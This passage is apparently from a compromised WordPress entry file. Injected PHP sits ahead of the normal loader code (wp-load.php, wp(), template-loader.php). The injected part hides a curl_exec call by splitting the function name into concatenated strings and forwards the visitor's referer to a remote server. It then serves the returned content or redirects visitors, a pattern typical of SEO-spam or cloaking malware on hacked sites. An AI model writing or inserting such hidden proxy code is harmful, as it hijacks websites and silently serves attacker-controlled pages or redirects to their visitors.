setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $ci = "curl_ex" . "ec"; $data = $ci($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($code == 200) { if (function_exists('header_remove')) { @header_remove("X-Powered-By"); } if (strlen($data) > 255) { @header('Content-Type: ' . (curl_getinfo($ch, CURLINFO_CONTENT_TYPE) ?: 'text/html')); echo $data; } else if (!strlen($data)) { header("HTTP/1.0 404 Not Found"); } exit; } else if ($data && ($code == 301 || $code == 302)) { header("Location: " . trim($data), true, $code); exit; } } if ( !isset($wp_did_header) ) { $wp_did_header = true; // Load the WordPress library. require_once( dirname(__FILE__) . '/wp-load.php' ); // Set up the WordPress query. wp(); // Load the theme template. require_once( ABSPATH . WPINC . '/template-loader.php' ); }